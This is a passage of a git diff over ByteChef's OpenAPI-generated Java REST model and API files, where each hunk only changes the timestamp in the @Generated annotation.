diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/IntegrationInstanceWorkflowApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/IntegrationInstanceWorkflowApi.java
index daa507084a7..27ebafe0a0f 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/IntegrationInstanceWorkflowApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/IntegrationInstanceWorkflowApi.java
@@ -33,7 +33,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "integration-instance-workflow", description = "The Embedded Integration Instance Workflow Public API")
 public interface IntegrationInstanceWorkflowApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/AuthorizationTypeModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/AuthorizationTypeModel.java
index 3393faf7e32..cd8c5f65832 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/AuthorizationTypeModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/AuthorizationTypeModel.java
@@ -20,7 +20,7 @@
  * The authorization type.
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum AuthorizationTypeModel {
   
   API_KEY("API_KEY"),
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/ConnectedUserProjectWorkflowModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/ConnectedUserProjectWorkflowModel.java
index c23e6059b36..0f29765954f 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/ConnectedUserProjectWorkflowModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/ConnectedUserProjectWorkflowModel.java
@@ -22,7 +22,7 @@
 
 @Schema(name = "ConnectedUserProjectWorkflow", description = "A group of tasks that make one logical workflow.")
 @JsonTypeName("ConnectedUserProjectWorkflow")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ConnectedUserProjectWorkflowModel {
 
   private @Nullable String description;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/ConnectionConfigModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/ConnectionConfigModel.java
index d0a24657a1e..e1fc654c330 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/ConnectionConfigModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/ConnectionConfigModel.java
@@ -29,7 +29,7 @@
 
 @Schema(name = "ConnectionConfig", description = "The connection configuration")
 @JsonTypeName("ConnectionConfig")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ConnectionConfigModel {
 
   private @Nullable AuthorizationTypeModel authorizationType;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/ConnectionModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/ConnectionModel.java
index 275bf9986b0..19d755f6494 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/ConnectionModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/ConnectionModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "Connection", description = "Contains all required information to open a connection to a service defined by componentName parameter")
 @JsonTypeName("Connection")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ConnectionModel {
 
   private Long id;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CreateFrontendIntegrationInstanceRequestConnectionModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CreateFrontendIntegrationInstanceRequestConnectionModel.java
index 5bd181a35f3..29f8821701c 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CreateFrontendIntegrationInstanceRequestConnectionModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CreateFrontendIntegrationInstanceRequestConnectionModel.java
@@ -23,7 +23,7 @@
  */
 
 @JsonTypeName("createFrontendIntegrationInstance_request_connection")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreateFrontendIntegrationInstanceRequestConnectionModel {
 
   @Valid
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CreateFrontendIntegrationInstanceRequestModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CreateFrontendIntegrationInstanceRequestModel.java
index 92cc155b675..5f9872f0f9b 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CreateFrontendIntegrationInstanceRequestModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CreateFrontendIntegrationInstanceRequestModel.java
@@ -22,7 +22,7 @@
  */
 
 @JsonTypeName("createFrontendIntegrationInstance_request")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreateFrontendIntegrationInstanceRequestModel {
 
   private CreateFrontendIntegrationInstanceRequestConnectionModel connection;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CreateFrontendProjectWorkflowRequestModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CreateFrontendProjectWorkflowRequestModel.java
index 913acda6529..bf32e3fd83d 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CreateFrontendProjectWorkflowRequestModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CreateFrontendProjectWorkflowRequestModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("createFrontendProjectWorkflow_request")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreateFrontendProjectWorkflowRequestModel {
 
   private @Nullable String definition;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CredentialStatusModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CredentialStatusModel.java
index d55a14bc94b..741916fbe0e 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CredentialStatusModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/CredentialStatusModel.java
@@ -20,7 +20,7 @@
  * Gets or Sets credential_status
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum CredentialStatusModel {
   
   VALID("VALID"),
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/EnvironmentModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/EnvironmentModel.java
index 389d2239812..f3317f3f457 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/EnvironmentModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/EnvironmentModel.java
@@ -20,7 +20,7 @@
  * The environment of a project.
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum EnvironmentModel {
   
   DEVELOPMENT("DEVELOPMENT"),
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/InputModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/InputModel.java
index 2c7c2512dc2..423ebec9acf 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/InputModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/InputModel.java
@@ -23,7 +23,7 @@
  */
 
 @JsonTypeName("Input")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class InputModel {
 
   private @Nullable String label;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/InputTypeModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/InputTypeModel.java
index 52678553356..87b2f256a86 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/InputTypeModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/InputTypeModel.java
@@ -20,7 +20,7 @@
  * The type of an input, for example \\\"STRING\\\"
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum InputTypeModel {
   
   BOOLEAN("BOOLEAN"),
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationBasicModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationBasicModel.java
index c75b15821ea..387d6b10fbf 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationBasicModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationBasicModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "IntegrationBasic", description = "A group of workflows that make one logical integration for a particular service represented by component.")
 @JsonTypeName("IntegrationBasic")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationBasicModel {
 
   private String componentName;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationInstanceBasicModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationInstanceBasicModel.java
index 7edc1e1f90e..a9ca4d21b75 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationInstanceBasicModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationInstanceBasicModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "IntegrationInstanceBasic", description = "The integration instance represents a configured integration for a specific user, containing connection and status information")
 @JsonTypeName("IntegrationInstanceBasic")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationInstanceBasicModel {
 
   private @Nullable Long id;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationInstanceModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationInstanceModel.java
index 6e13ad443c3..b25b3304e22 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationInstanceModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationInstanceModel.java
@@ -28,7 +28,7 @@
 
 @Schema(name = "IntegrationInstance", description = "The integration instance represents a configured integration for a specific user, containing connection and status information")
 @JsonTypeName("IntegrationInstance")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationInstanceModel {
 
   private @Nullable Long id;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationInstanceWorkflowModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationInstanceWorkflowModel.java
index fabde3fced2..e9ede9abd1c 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationInstanceWorkflowModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationInstanceWorkflowModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "IntegrationInstanceWorkflow", description = "A workflow data for particular integration instance.")
 @JsonTypeName("IntegrationInstanceWorkflow")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationInstanceWorkflowModel {
 
   private @Nullable Boolean enabled;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationModel.java
index 70d8c36838e..4ed8090a103 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationModel.java
@@ -28,7 +28,7 @@
 
 @Schema(name = "Integration", description = "A group of workflows that make one logical integration for a particular service represented by component.")
 @JsonTypeName("Integration")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationModel {
 
   private String componentName;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationWorkflowModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationWorkflowModel.java
index 0bfb91cf6dc..8c9a65c6717 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationWorkflowModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/IntegrationWorkflowModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "IntegrationWorkflow", description = "A group of tasks that make one logical workflow.")
 @JsonTypeName("IntegrationWorkflow")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationWorkflowModel {
 
   private @Nullable String description;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/OAuth2Model.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/OAuth2Model.java
index 96f24e6f608..12315b9327c 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/OAuth2Model.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/OAuth2Model.java
@@ -26,7 +26,7 @@
  */
 
 @JsonTypeName("OAuth2")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class OAuth2Model {
 
   private @Nullable String authorizationUrl;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/PublishFrontendProjectWorkflowRequestModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/PublishFrontendProjectWorkflowRequestModel.java
index d276a38471f..fb0f9ef393b 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/PublishFrontendProjectWorkflowRequestModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/PublishFrontendProjectWorkflowRequestModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("publishFrontendProjectWorkflow_request")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class PublishFrontendProjectWorkflowRequestModel {
 
   private @Nullable String description;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/UpdateFrontendIntegrationInstanceWorkflowRequestModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/UpdateFrontendIntegrationInstanceWorkflowRequestModel.java
index 3dee966d352..5e7a4c68e04 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/UpdateFrontendIntegrationInstanceWorkflowRequestModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/UpdateFrontendIntegrationInstanceWorkflowRequestModel.java
@@ -23,7 +23,7 @@
  */
 
 @JsonTypeName("updateFrontendIntegrationInstanceWorkflow_request")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class UpdateFrontendIntegrationInstanceWorkflowRequestModel {
 
   @Valid
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/UpdateFrontendWorkflowConfigurationConnectionRequestModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/UpdateFrontendWorkflowConfigurationConnectionRequestModel.java
index 093b9feb9a2..3bef9220c59 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/UpdateFrontendWorkflowConfigurationConnectionRequestModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/UpdateFrontendWorkflowConfigurationConnectionRequestModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("updateFrontendWorkflowConfigurationConnection_request")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class UpdateFrontendWorkflowConfigurationConnectionRequestModel {
 
   private @Nullable Long connectionId;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/WorkflowModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/WorkflowModel.java
index 2332c6f4004..4cd3031699d 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/WorkflowModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/model/WorkflowModel.java
@@ -22,7 +22,7 @@
 
 @Schema(name = "Workflow", description = "A group of tasks that make one logical workflow.")
 @JsonTypeName("Workflow")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WorkflowModel {
 
   private @Nullable String description;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/AppEventApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/AppEventApi.java
index 9e8a663ba83..39f502b981c 100644
